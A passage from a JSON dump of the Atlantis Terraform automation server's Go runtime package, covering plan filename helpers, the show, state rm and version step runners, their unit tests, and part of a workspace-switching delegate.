map[string]string) (string, error) {\n\tctx.Log.Debug(\"runner not configured for plan type\")\n\treturn \"\", nil\n}\n\n// RemoteBackendUnsupportedRunner is a runner that is responsible for outputting that the remote backend is unsupported\ntype RemoteBackendUnsupportedRunner struct{}\n\nfunc (p RemoteBackendUnsupportedRunner) Run(ctx command.ProjectContext, _ []string, _ string, _ map[string]string) (string, error) {\n\tctx.Log.Debug(\"runner not configured for remote backend\")\n\treturn \"Remote backend is unsupported for this step.\", nil\n}\n\n// MustConstraint returns a constraint. It panics on error.\nfunc MustConstraint(constraint string) version.Constraints {\n\tc, err := version.NewConstraint(constraint)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn c\n}\n\n// GetPlanFilename returns the filename (not the path) of the generated tf plan\n// given a workspace and project name.\nfunc GetPlanFilename(workspace string, projName string) string {\n\tif projName == \"\" {\n\t\treturn fmt.Sprintf(\"%s.tfplan\", workspace)\n\t}\n\tprojName = strings.ReplaceAll(projName, \"/\", planfileSlashReplace)\n\treturn fmt.Sprintf(\"%s-%s.tfplan\", projName, workspace)\n}\n\n// isRemotePlan returns true if planContents are from a plan that was generated\n// using TFE remote operations.\nfunc IsRemotePlan(planContents []byte) bool {\n\t// We add a header to plans generated by the remote backend so we can\n\t// detect that they're remote in the apply phase.\n\tremoteOpsHeaderBytes := []byte(remoteOpsHeader)\n\treturn bytes.Equal(planContents[:len(remoteOpsHeaderBytes)], remoteOpsHeaderBytes)\n}\n\n// ProjectNameFromPlanfile returns the project name that a planfile with name\n// filename is for. If filename is for a project without a name then it will\n// return an empty string. workspace is the workspace this project is in.\nfunc ProjectNameFromPlanfile(workspace string, filename string) (string, error) {\n\tr, err := regexp.Compile(fmt.Sprintf(`(.*?)-%s\\.tfplan`, workspace))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"compiling project name regex, this is a bug: %w\", err)\n\t}\n\tprojMatch := r.FindAllStringSubmatch(filename, 1)\n\tif projMatch == nil {\n\t\treturn \"\", nil\n\t}\n\trawProjName := projMatch[0][1]\n\treturn strings.ReplaceAll(rawProjName, planfileSlashReplace, \"/\"), nil\n}\n"
  },
  {
    "path": "server/core/runtime/runtime_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestGetPlanFilename(t *testing.T) {\n\tcases := []struct {\n\t\tworkspace   string\n\t\tprojectName string\n\t\texp         string\n\t}{\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"\",\n\t\t\t\"workspace.tfplan\",\n\t\t},\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"project\",\n\t\t\t\"project-workspace.tfplan\",\n\t\t},\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"project/with/slash\",\n\t\t\t\"project::with::slash-workspace.tfplan\",\n\t\t},\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"project with space\",\n\t\t\t\"project with space-workspace.tfplan\",\n\t\t},\n\t\t{\n\t\t\t\"workspace😀\",\n\t\t\t\"project😀\",\n\t\t\t\"project😀-workspace😀.tfplan\",\n\t\t},\n\t\t// Previously we replaced invalid chars with -'s, however we now\n\t\t// rely on validation of the atlantis.yaml file to ensure the name's\n\t\t// don't contain chars that need to be url encoded. So now these\n\t\t// chars shouldn't get replaced.\n\t\t{\n\t\t\t\"default\",\n\t\t\t`all.invalid.chars \\/\"*?<>`,\n\t\t\t\"all.invalid.chars \\\\::\\\"*?<>-default.tfplan\",\n\t\t},\n\t}\n\n\tfor i, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"case %d\", i), func(t *testing.T) {\n\t\t\tEquals(t, c.exp, runtime.GetPlanFilename(c.workspace, c.projectName))\n\t\t})\n\t}\n}\n\nfunc TestProjectNameFromPlanfile(t *testing.T) {\n\tcases := []struct {\n\t\tworkspace string\n\t\tfilename  string\n\t\texp       string\n\t}{\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"workspace.tfplan\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"project-workspace.tfplan\",\n\t\t\t\"project\",\n\t\t},\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"project-workspace-workspace.tfplan\",\n\t\t\t\"project-workspace\",\n\t\t},\n\t\t{\n\t\t\t\"workspace\",\n\t\t\t\"project::with::slashes::-workspace.tfplan\",\n\t\t\t\"project/with/slashes/\",\n\t\t},\n\t}\n\n\tfor i, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"case %d\", i), func(t *testing.T) {\n\t\t\tact, err := runtime.ProjectNameFromPlanfile(c.workspace, c.filename)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, act)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/show_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\nconst minimumShowTfVersion string = \"0.12.0\"\n\nfunc NewShowStepRunner(executor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTFVersion *version.Version) (Runner, error) {\n\tshowStepRunner := &showStepRunner{\n\t\tterraformExecutor:     executor,\n\t\tdefaultTfDistribution: defaultTfDistribution,\n\t\tdefaultTFVersion:      defaultTFVersion,\n\t}\n\tremotePlanRunner := NullRunner{}\n\trunner := NewPlanTypeStepRunnerDelegate(showStepRunner, remotePlanRunner)\n\treturn NewMinimumVersionStepRunnerDelegate(minimumShowTfVersion, defaultTFVersion, runner)\n}\n\n// showStepRunner runs terraform show on an existing plan file and outputs it to a json file\ntype showStepRunner struct {\n\tterraformExecutor     TerraformExec\n\tdefaultTfDistribution terraform.Distribution\n\tdefaultTFVersion      *version.Version\n}\n\nfunc (p *showStepRunner) Run(ctx command.ProjectContext, _ []string, path string, envs map[string]string) (string, error) {\n\ttfDistribution := p.defaultTfDistribution\n\ttfVersion := p.defaultTFVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\tplanFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName))\n\tshowResultFile := filepath.Join(path, ctx.GetShowResultFileName())\n\n\toutput, err := p.terraformExecutor.RunCommandWithVersion(\n\t\tctx,\n\t\tpath,\n\t\t[]string{\"show\", \"-json\", filepath.Clean(planFile)},\n\t\tenvs,\n\t\ttfDistribution,\n\t\ttfVersion,\n\t\tctx.Workspace,\n\t)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"running terraform show: %w\", err)\n\t}\n\n\tif err := os.WriteFile(showResultFile, []byte(output), 0600); err != nil {\n\t\treturn \"\", fmt.Errorf(\"writing terraform show result: %w\", err)\n\t}\n\n\treturn output, nil\n}\n"
  },
  {
    "path": "server/core/runtime/show_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestShowStepRunnner(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tpath := t.TempDir()\n\tresultPath := filepath.Join(path, \"test-default.json\")\n\tenvs := map[string]string{\"key\": \"val\"}\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.12\")\n\tcontext := command.ProjectContext{\n\t\tWorkspace:   \"default\",\n\t\tProjectName: \"test\",\n\t\tLog:         logger,\n\t}\n\n\tRegisterMockTestingT(t)\n\n\tmockExecutor := tfclientmocks.NewMockClient()\n\n\tsubject := showStepRunner{\n\t\tterraformExecutor:     mockExecutor,\n\t\tdefaultTfDistribution: tfDistribution,\n\t\tdefaultTFVersion:      tfVersion,\n\t}\n\n\tt.Run(\"success\", func(t *testing.T) {\n\n\t\tWhen(mockExecutor.RunCommandWithVersion(\n\t\t\tcontext, path, []string{\"show\", \"-json\", filepath.Join(path, \"test-default.tfplan\")}, envs, tfDistribution, tfVersion, context.Workspace,\n\t\t)).ThenReturn(\"success\", nil)\n\n\t\tr, err := subject.Run(context, []string{}, path, envs)\n\n\t\tOk(t, err)\n\n\t\tactual, _ := os.ReadFile(resultPath)\n\n\t\tactualStr := string(actual)\n\t\tAssert(t, actualStr == \"success\", fmt.Sprintf(\"expected '%s' to be success\", actualStr))\n\t\tAssert(t, r == \"success\", fmt.Sprintf(\"expected '%s' to be success\", r))\n\n\t})\n\n\tt.Run(\"success w/ version override\", func(t *testing.T) {\n\n\t\tv, _ := version.NewVersion(\"0.13.0\")\n\t\tmockDownloader := mocks.NewMockDownloader()\n\t\td := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\t\tcontextWithVersionOverride := command.ProjectContext{\n\t\t\tWorkspace:        \"default\",\n\t\t\tProjectName:      \"test\",\n\t\t\tLog:              logger,\n\t\t\tTerraformVersion: v,\n\t\t}\n\n\t\tWhen(mockExecutor.RunCommandWithVersion(\n\t\t\tcontextWithVersionOverride, path, []string{\"show\", \"-json\", filepath.Join(path, \"test-default.tfplan\")}, envs, d, v, context.Workspace,\n\t\t)).ThenReturn(\"success\", nil)\n\n\t\tr, err := subject.Run(contextWithVersionOverride, []string{}, path, envs)\n\n\t\tOk(t, err)\n\n\t\tactual, _ := os.ReadFile(resultPath)\n\n\t\tactualStr := string(actual)\n\t\tAssert(t, actualStr == \"success\", \"got expected result\")\n\t\tAssert(t, r == \"success\", \"returned expected result\")\n\n\t})\n\n\tt.Run(\"success w/ distribution override\", func(t *testing.T) {\n\n\t\tv, _ := version.NewVersion(\"0.13.0\")\n\t\tmockDownloader := mocks.NewMockDownloader()\n\t\td := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t\tprojTFDistribution := \"opentofu\"\n\n\t\tcontextWithDistributionOverride := command.ProjectContext{\n\t\t\tWorkspace:             \"default\",\n\t\t\tProjectName:           \"test\",\n\t\t\tLog:                   logger,\n\t\t\tTerraformDistribution: &projTFDistribution,\n\t\t}\n\n\t\tWhen(mockExecutor.RunCommandWithVersion(\n\t\t\tEq(contextWithDistributionOverride), Eq(path), Eq([]string{\"show\", \"-json\", filepath.Join(path, \"test-default.tfplan\")}), Eq(envs), NotEq(d), NotEq(v), Eq(context.Workspace),\n\t\t)).ThenReturn(\"success\", nil)\n\n\t\tr, err := subject.Run(contextWithDistributionOverride, []string{}, path, envs)\n\n\t\tOk(t, err)\n\n\t\tactual, _ := os.ReadFile(resultPath)\n\n\t\tactualStr := string(actual)\n\t\tAssert(t, actualStr == \"success\", \"got expected result\")\n\t\tAssert(t, r == \"success\", \"returned expected result\")\n\n\t})\n\n\tt.Run(\"failure running command\", func(t *testing.T) {\n\t\tWhen(mockExecutor.RunCommandWithVersion(\n\t\t\tcontext, path, []string{\"show\", \"-json\", filepath.Join(path, \"test-default.tfplan\")}, envs, tfDistribution, tfVersion, context.Workspace,\n\t\t)).ThenReturn(\"success\", errors.New(\"error\"))\n\n\t\t_, err := subject.Run(context, []string{}, path, envs)\n\n\t\tAssert(t, err != nil, \"error is returned\")\n\n\t})\n\n}\n"
  },
  {
    "path": "server/core/runtime/state_rm_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\ntype stateRmStepRunner struct {\n\tterraformExecutor     TerraformExec\n\tdefaultTFDistribution terraform.Distribution\n\tdefaultTFVersion      *version.Version\n}\n\nfunc NewStateRmStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version) Runner {\n\trunner := &stateRmStepRunner{\n\t\tterraformExecutor:     terraformExecutor,\n\t\tdefaultTFDistribution: defaultTfDistribution,\n\t\tdefaultTFVersion:      defaultTfVersion,\n\t}\n\treturn NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner)\n}\n\nfunc (p *stateRmStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\ttfDistribution := p.defaultTFDistribution\n\ttfVersion := p.defaultTFVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\tstateRmCmd := []string{\"state\", \"rm\"}\n\tstateRmCmd = append(stateRmCmd, extraArgs...)\n\tstateRmCmd = append(stateRmCmd, ctx.EscapedCommentArgs...)\n\tout, err := p.terraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), stateRmCmd, envs, tfDistribution, tfVersion, ctx.Workspace)\n\n\t// If the state rm was successful and a plan file exists, delete the plan.\n\tplanPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName))\n\tif err == nil {\n\t\tif _, planPathErr := os.Stat(planPath); !os.IsNotExist(planPathErr) {\n\t\t\tctx.Log.Info(\"state rm successful, deleting planfile\")\n\t\t\tif removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil {\n\t\t\t\tctx.Log.Warn(\"failed to delete planfile after successful state rm: %s\", removeErr)\n\t\t\t}\n\t\t}\n\t}\n\treturn out, err\n}\n"
  },
  {
    "path": "server/core/runtime/state_rm_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestStateRmStepRunner_Run_Success(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"default\"\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, fmt.Sprintf(\"%s.tfplan\", workspace))\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"-lock=false\", \"addr1\", \"addr2\", \"addr3\"},\n\t\tWorkspace:          workspace,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ts := NewStateRmStepRunner(terraform, tfDistribution, tfVersion)\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\tcommands := []string{\"state\", \"rm\", \"-lock=false\", \"addr1\", \"addr2\", \"addr3\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, \"default\")\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestStateRmStepRunner_Run_Workspace(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"something\"\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, fmt.Sprintf(\"%s.tfplan\", workspace))\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"-lock=false\", \"addr1\", \"addr2\", \"addr3\"},\n\t\tWorkspace:          workspace,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ts := NewStateRmStepRunner(terraform, tfDistribution, tfVersion)\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\n\t// switch workspace\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{\"workspace\", \"show\"}, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{\"workspace\", \"select\", workspace}, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\n\t// exec state rm\n\tcommands := []string{\"state\", \"rm\", \"-lock=false\", \"addr1\", \"addr2\", \"addr3\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace)\n\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n\nfunc TestStateRmStepRunner_Run_UsesConfiguredDistribution(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"something\"\n\ttmpDir := t.TempDir()\n\tplanPath := filepath.Join(tmpDir, fmt.Sprintf(\"%s.tfplan\", workspace))\n\terr := os.WriteFile(planPath, nil, 0600)\n\tOk(t, err)\n\n\tprojTFDistribution := \"opentofu\"\n\n\tcontext := command.ProjectContext{\n\t\tLog:                   logger,\n\t\tEscapedCommentArgs:    []string{\"-lock=false\", \"addr1\", \"addr2\", \"addr3\"},\n\t\tWorkspace:             workspace,\n\t\tTerraformDistribution: &projTFDistribution,\n\t}\n\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ts := NewStateRmStepRunner(terraform, tfDistribution, tfVersion)\n\n\tWhen(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\toutput, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n\n\t// switch workspace\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{\"workspace\", \"show\"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace))\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{\"workspace\", \"select\", workspace}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace))\n\n\t// exec state rm\n\tcommands := []string{\"state\", \"rm\", \"-lock=false\", \"addr1\", \"addr2\", \"addr3\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq(commands), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace))\n\n\t_, err = os.Stat(planPath)\n\tAssert(t, os.IsNotExist(err), \"planfile should be deleted\")\n}\n"
  },
  {
    "path": "server/core/runtime/version_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"path/filepath\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// VersionStepRunner runs a version command given a ctx\ntype VersionStepRunner struct {\n\tTerraformExecutor     TerraformExec\n\tDefaultTFDistribution terraform.Distribution\n\tDefaultTFVersion      *version.Version\n}\n\n// Run ensures a given version for the executable, builds the args from the project context and then runs executable returning the result\nfunc (v *VersionStepRunner) Run(ctx command.ProjectContext, _ []string, path string, envs map[string]string) (string, error) {\n\ttfDistribution := v.DefaultTFDistribution\n\ttfVersion := v.DefaultTFVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\tversionCmd := []string{\"version\"}\n\treturn v.TerraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), versionCmd, envs, tfDistribution, tfVersion, ctx.Workspace)\n}\n"
  },
  {
    "path": "server/core/runtime/version_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRunVersionStep(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"default\"\n\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tWorkspace:          workspace,\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\ttmpDir := t.TempDir()\n\n\ts := &VersionStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\n\tt.Run(\"ensure runs\", func(t *testing.T) {\n\t\t_, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{\"version\"}, map[string]string(nil), tfDistribution, tfVersion, \"default\")\n\t\tOk(t, err)\n\t})\n}\n\nfunc TestVersionStepRunner_Run_UsesConfiguredDistribution(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"default\"\n\tprojTFDistribution := \"opentofu\"\n\tcontext := command.ProjectContext{\n\t\tLog:                logger,\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tWorkspace:          workspace,\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t\tTerraformDistribution: &projTFDistribution,\n\t}\n\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.15.0\")\n\ttmpDir := t.TempDir()\n\n\ts := &VersionStepRunner{\n\t\tTerraformExecutor:     terraform,\n\t\tDefaultTFDistribution: tfDistribution,\n\t\tDefaultTFVersion:      tfVersion,\n\t}\n\n\tt.Run(\"ensure runs\", func(t *testing.T) {\n\t\t_, err := s.Run(context, []string{}, tmpDir, map[string]string(nil))\n\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{\"version\"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(\"default\"))\n\t\tOk(t, err)\n\t})\n}\n"
  },
  {
    "path": "server/core/runtime/workspace_step_runner_delegate.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// workspaceStepRunnerDelegate ensures that a given step runner run on switched workspace\ntype workspaceStepRunnerDelegate struct {\n\tterraformExecutor     TerraformExec\n\tdefaultTfDistribution terraform.Distribution\n\tdefaultTfVersion      *version.Version\n\tdelegate              Runner\n}\n\nfunc NewWorkspaceStepRunnerDelegate(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, delegate Runner) Runner {\n\treturn &workspaceStepRunnerDelegate{\n\t\tterraformExecutor:     terraformExecutor,\n\t\tdefaultTfDistribution: defaultTfDistribution,\n\t\tdefaultTfVersion:      defaultTfVersion,\n\t\tdelegate:              delegate,\n\t}\n}\n\nfunc (r *workspaceStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\ttfDistribution := r.defaultTfDistribution\n\ttfVersion := r.defaultTfVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\t// We only need to switch workspaces in version 0.9.*. In older versions,\n\t// there is no such thing as a workspace so we don't need to do anything.\n\tif err := r.switchWorkspace(ctx, path, tfDistribution, tfVersion, envs); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn r.delegate.Run(ctx, extraArgs, path, envs)\n}\n\n// switchWorkspace changes the terraform workspace if necessary and will create\n// it if it doesn't exist. It handles differences between versions.\nfunc (r *workspaceStepRunnerDelegate) switchWorkspace(ctx command.ProjectContext, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, envs map[string]string) error {\n\t// In versions less than 0.9 there is no support for workspaces.\n\tnoWorkspaceSupport := MustConstraint(\"<0.9\").Check(tfVersion)\n\t// If the user tried to set a specific workspace in the comment but their\n\t// version of TF doesn't support workspaces then error out.\n\tif noWorkspaceSupport && ctx.Workspace != defaultWorkspace {\n\t\treturn fmt.Errorf(\"terraform version %s does not support workspaces\", tfVersion)\n\t}\n\tif noWorkspaceSupport {\n\t\treturn nil\n\t}\n\n\t// In version 0.9.* the workspace command was called env.\n\tworkspaceCmd := \"workspace\"\n\trunningZeroPointNine := MustConstraint(\">=0.9,<0.10\").Check(tfVersion)\n\tif runningZeroPointNine {\n\t\tworkspaceCmd = \"env\"\n\t}\n\n\t// Use `workspace show` to find out what workspace we're in now. If we're\n\t// already in the right workspace then no need to switch. This will save us\n\t// about ten seconds. This command is only available in > 0.10.\n\tif !runningZeroPointNine {\n\t\tworkspaceShowOutput, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, \"show\"}, envs, tfDistribution, tfVersion, ctx.Workspace)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// If `show` says we're already on this workspace then we're done.\n\t\tif strings.TrimSpace(workspaceShowOutput) == ctx.Workspace {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t// Finally we'll have to select the workspace. We need to figure out if this\n\t// workspace exists so we can create it if it doesn't.\n\t// To do this we can either select and catch the error or use list and then\n\t// look for the workspace. 